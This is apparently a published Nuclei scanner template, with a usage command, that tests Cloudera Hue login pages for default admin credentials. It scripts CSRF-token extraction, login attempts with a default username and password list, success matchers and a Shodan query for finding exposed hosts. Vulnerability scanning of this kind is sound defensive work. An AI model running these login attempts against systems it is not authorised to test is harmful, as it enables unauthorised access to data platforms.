Cloudera Hue Default Admin Login

ID: hue-default-credential

Severity: high

Author: For3stCo1d

Tags: hue,default-login,oss,cloudera

Description

Cloudera Hue default admin credentials were discovered.

YAML Source

id: hue-default-credential

info:
  name: Cloudera Hue Default Admin Login
  author: For3stCo1d
  severity: high
  description: Cloudera Hue default admin credentials were discovered.
  reference:
    - https://github.com/cloudera/hue
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:cloudera:hue:*:*:*:*:*:*:*:*
  metadata:
    max-request: 8
    shodan-query: title:"Hue - Welcome to Hue"
    product: hue
    vendor: cloudera
  tags: hue,default-login,oss,cloudera

http:
  - raw:
      - |
        GET /hue/accounts/login?next=/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /hue/accounts/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrfmiddlewaretoken={{csrfmiddlewaretoken}}&username={{user}}&password={{pass}}&next=%2F

    attack: pitchfork
    payloads:
      user:
        - admin
        - hue
        - hadoop
        - cloudera
      pass:
        - admin
        - hue
        - hadoop
        - cloudera

    extractors:
      - type: regex
        name: csrfmiddlewaretoken
        part: body
        internal: true
        group: 1
        regex:
          - name='csrfmiddlewaretoken' value='(.+?)'
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(tolower(body_1), 'welcome to hue')
          - contains(tolower(header_2), 'csrftoken=')
          - contains(tolower(header_2), 'sessionid=')
        condition: and

      - type: status
        status:
          - 302
# digest: 4a0a00473045022100d351370de2436b623769cd4d862e0ce9b6dd4df4f9d04cba12209fe8b92dd0dc02206a8546e281e41c65a0739878e1491a42bb207a7c52fe67de1c4be2ea7d615734:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/cobbler/hue-default-credential.yaml"

View on Github